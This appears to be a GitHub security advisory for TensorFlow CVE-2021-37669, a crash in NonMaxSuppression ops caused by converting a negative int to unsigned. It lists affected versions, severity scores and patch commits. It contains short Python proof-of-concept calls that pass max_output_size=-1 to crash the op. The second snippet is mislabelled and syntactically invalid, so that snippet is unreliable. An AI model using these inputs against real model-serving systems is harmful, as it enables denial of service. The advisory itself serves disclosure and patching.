CVE-2021-37669 – tensorflow

Package

Manager: pip
Name: tensorflow
Vulnerable Version: >=0 <2.3.4 || >=2.4.0 <2.4.3 || =2.5.0 || >=2.5.0 <2.5.1

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00032 pctl0.07554

Details

Crash in NMS ops caused by integer conversion to unsigned ### Impact An attacker can cause denial of service in applications serving models using `tf.raw_ops.NonMaxSuppressionV5` by triggering a division by 0: ```python import tensorflow as tf tf.raw_ops.NonMaxSuppressionV5( boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]], scores=[1.0,2.0,3.0], max_output_size=-1, iou_threshold=0.5, score_threshold=0.5, soft_nms_sigma=1.0, pad_to_max_output_size=True) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/image/non_max_suppression_op.cc#L170-L271) uses a user controlled argument to resize a `std::vector`: ```cc const int output_size = max_output_size.scalar<int>()(); // ... std::vector<int> selected; // ... if (pad_to_max_output_size) { selected.resize(output_size, 0); // ... } ``` However, as `std::vector::resize` takes the size argument as a `size_t` and `output_size` is an `int`, there is an implicit conversion to usigned. If the attacker supplies a negative value, this conversion results in a crash. A similar issue occurs in `CombinedNonMaxSuppression`: ```python import tensorflow as tf tf.raw_ops.NonMaxSuppressionV5( boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]], scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]], max_output_size_per_class=-1, max_total_size=10, iou_threshold=score_threshold=0.5, pad_per_class=True, clip_boxes=True) ``` ### Patches We have patched the issue in GitHub commit [3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d](https://github.com/tensorflow/tensorflow/commit/3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d) and commit [b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58](https://github.com/tensorflow/tensorflow/commit/b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58). The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Metadata

Created: 2021-08-25T14:42:03Z
Modified: 2024-11-13T21:00:17Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/08/GHSA-vmjw-c2vp-p33c/GHSA-vmjw-c2vp-p33c.json
CWE IDs: ["CWE-681"]
Alternative ID: GHSA-vmjw-c2vp-p33c
Finding: F113
Auto approve: 1